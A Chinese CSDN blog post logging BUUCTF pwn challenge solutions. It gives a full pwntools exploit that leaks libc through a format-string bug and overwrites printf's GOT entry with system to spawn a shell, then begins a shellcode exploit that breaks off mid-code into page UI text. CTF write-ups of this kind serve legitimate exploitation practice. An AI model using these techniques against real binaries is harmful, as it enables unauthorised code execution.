BUUCTF-PWN刷题记录-8

本文详细记录了多个CTF比赛中的PWN题目,包括axb_2019_fmt64的格式化字符串利用,极客大挑战2019的shellcode编写,actf_2019_babystack的栈迁移技术,以及ciscn_2019_s_6和ciscn_2019_es_4的漏洞利用,涉及UAF、double free、off-by-null等常见漏洞。通过分析和Exp演示,展示了如何利用这些漏洞实现目标功能。
摘要由CSDN通过智能技术生成

axb_2019_fmt64(格式化字符串泄露信息+修改GOT表)

在这里插入图片描述
本题原理并不复杂,直接贴Exp吧:

from pwn import *

r = remote("node3.buuoj.cn", 28352)
#r = process("./axb_2019_fmt64")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400957
	x/gx 0x601030
	c
	''')
elf = ELF("./axb_2019_fmt64")
libc = ELF('./libc/libc-2.23.so')
read_got = elf.got['read']
printf_got = elf.got['printf']
success("read_got:" + hex(read_got))


r.recvuntil("Please tell me:")
payload = '%9$s'.ljust(8, 'a') + p64(read_got)
r.sendline(payload)
r.recvuntil("Repeater:")
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
system = libc.symbols['system']
printf = libc.sym['printf']
success("read:" + hex(read_addr))
success("system:" + hex(system))
success("printf:"+hex(printf))
r.recvuntil("Please tell me:")


num1 = ((system>>16) & 0xFF) - len("Repeater:")
num2 = (system & 0xFFFF) - ((system>>16) & 0xFF)

payload = '%' + str(num1) + 'c%12$hhn%'
payload += str(num2) + 'c%13$hn'
payload = payload.ljust(32, 'a') + p64(printf_got+2) + p64(printf_got)
print payload

r.sendline(payload)
r.recv()
r.sendline(';/bin/sh')

r.interactive()

[极客大挑战 2019]Not Bad(jmp rsp,写shellcode)

在这里插入图片描述
居然没有保护,然而
在这里插入图片描述
需要写一个open,read,write的shellcode来执行

from pwn import *

r = remote("node3.buuoj.cn", 29344)
#r = process("./bad")

DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    ''' 
    b *0x400A4A
    c
    ''')
context(arch = 'amd64', os = 'linux', log_level = 'debug')
elf = ELF("./bad")
libc = ELF('./libc/libc-2.27.so')
jmp_rsp = 0x400A01
mmap = 0x123000

r.recvuntil("Easy shellcode, have fun!\n")
payload 
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值